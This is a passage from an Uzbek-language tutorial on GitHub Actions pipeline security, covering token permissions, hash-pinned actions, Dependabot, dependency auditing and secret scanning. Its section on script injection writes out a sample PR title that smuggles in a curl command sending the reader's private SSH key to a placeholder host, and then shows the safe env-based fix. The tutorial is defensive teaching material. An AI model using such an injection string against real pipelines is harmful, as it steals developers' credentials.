Quvur xavfsizligi

Quvur - sirlarga ega va serverga ulana oladigan kod. Shuning uchun u hujumchilar uchun qimmatli nishon: kodni buzishning eng qulay yo'li - uni chiqaradigan quvurni buzish.

Ta'minot zanjiri hujumi nima #

Hujumchi sizning kodingizga emas, siz ishonadigan narsaga hujum qiladi:

Bularning hammasi sizning quvuringizda, sizning sirlaringiz bilan ishlaydi.

1. Ruxsatlarni cheklash #

GITHUB_TOKEN ning huquqlari sukut bo'yicha keng bo'lishi mumkin. Har bir workflow uchun ularni aniq yozing:

permissions:
  contents: read

Keyin faqat kerak bo'lgan jobga qo'shimcha beriladi:

jobs:
  obraz:
    permissions:
      contents: read
      packages: write
    runs-on: ubuntu-latest

2. Amallarni versiyaga emas, xeshga qadash #

@v4 yozuvi qulay, lekin u harakatlanuvchi nishon: egasi v4 tegini istalgan kodga ko'chirishi mumkin.

      # qulay, lekin teg ko'chirilishi mumkin
      - uses: actions/checkout@v4

      # xesh - o'zgarmas
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1

Xeshga qadash zerikarli, lekin Dependabot uni avtomatik yangilab turadi:

version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly

Bu fayl .github/dependabot.yml ga yoziladi va har hafta amallarning yangi versiyasi uchun PR ochadi.

3. Bog'liqliklarni tekshirish #

      - name: Zaifliklarni tekshirish
        run: npm audit --audit-level=high

      - name: Bog'liqlik o'zgarishini ko'rib chiqish
        uses: actions/dependency-review-action@v4

dependency-review-action PR da qo'shilayotgan yangi bog'liqliklarni tekshiradi va ma'lum zaiflik bo'lsa, PR ni to'xtatadi.

4. Sir sizishining oldini olish #

Settings -> Code security bo'limida ikkita bepul imkoniyat bor:

5. Skriptlarga begona matn qo'ymang #

Bu eng nozik xavflardan biri:

      # XAVFLI: sarlavha to'g'ridan-to'g'ri skriptga qo'yiladi
      - run: echo "Yangi PR - ${{ github.event.pull_request.title }}"

PR sarlavhasini har kim yozadi. Unga shunday matn qo'yish mumkin:

Tuzatish"; curl -d "$(cat ~/.ssh/id_rsa)" https://yomon.misol; echo "

Natijada sizning quvuringiz begona buyruqni bajaradi. To'g'ri yo'l - qiymatni env orqali berish:

      - name: Xavfsiz
        env:
          SARLAVHA: ${{ github.event.pull_request.title }}
        run: echo "Yangi PR - $SARLAVHA"

Endi matn skriptga emas, o'zgaruvchiga tushadi va shell uni buyruq sifatida o'qimaydi.

6. Deploy huquqlarini cheklash #

Tekshirish ro'yxati #

Quvuringizni shu ro'yxat bo'yicha ko'rib chiqing:

[ ] permissions: contents: read - butun workflow uchun standart
[ ] Yozish huquqi faqat kerak bo'lgan jobda
[ ] Amallar xeshga qadalgan yoki hech bo'lmasa aniq versiyada
[ ] Dependabot amallar va paketlar uchun yoqilgan
[ ] npm audit (yoki mos vosita) quvurda ishlaydi
[ ] Secret scanning va push protection yoqilgan
[ ] Foydalanuvchi matni run: ichida ishlatilmaydi
[ ] pull_request_target ishlatilmaydi yoki kodga tegmaydi
[ ] Ishlab chiqarish muhitida majburiy tasdiq bor
[ ] .github/workflows/ uchun CODEOWNERS belgilangan

Xulosa #

• Quvur - sirlarga ega kod, shuning uchun u alohida nishon.
• Ta'minot zanjiri hujumi sizning kodingizga emas, siz ishonadigan narsaga qaratiladi.
• Har bir workflow'da permissions ni aniq yozing; standart - contents: read.
• Amallarni xeshga qadash eng xavfsiz usul; Dependabot ularni yangilab turadi.
• @main ga hech qachon bog'lanmang - bu har qanday o'zgarishni darhol qabul qilish demak.
• npm audit va dependency-review-action bog'liqliklardagi zaifliklarni topadi.
• npm audit fix --force ilovani buzishi mumkin - hisobotni avval o'qing.
• Secret scanning va push protection bepul va bir bosishda yoqiladi.
• Foydalanuvchi yozgan matnni (PR sarlavhasi, izoh) run: ichiga qo'ymang - env orqali bering.
• Deploy huquqlari cheklangan bo'lsin: faqat main, majburiy tasdiq, alohida kalit.

Keyingi, yakuniy bo'limda o'rgangan hamma narsani bitta to'liq quvurga yig'amiz.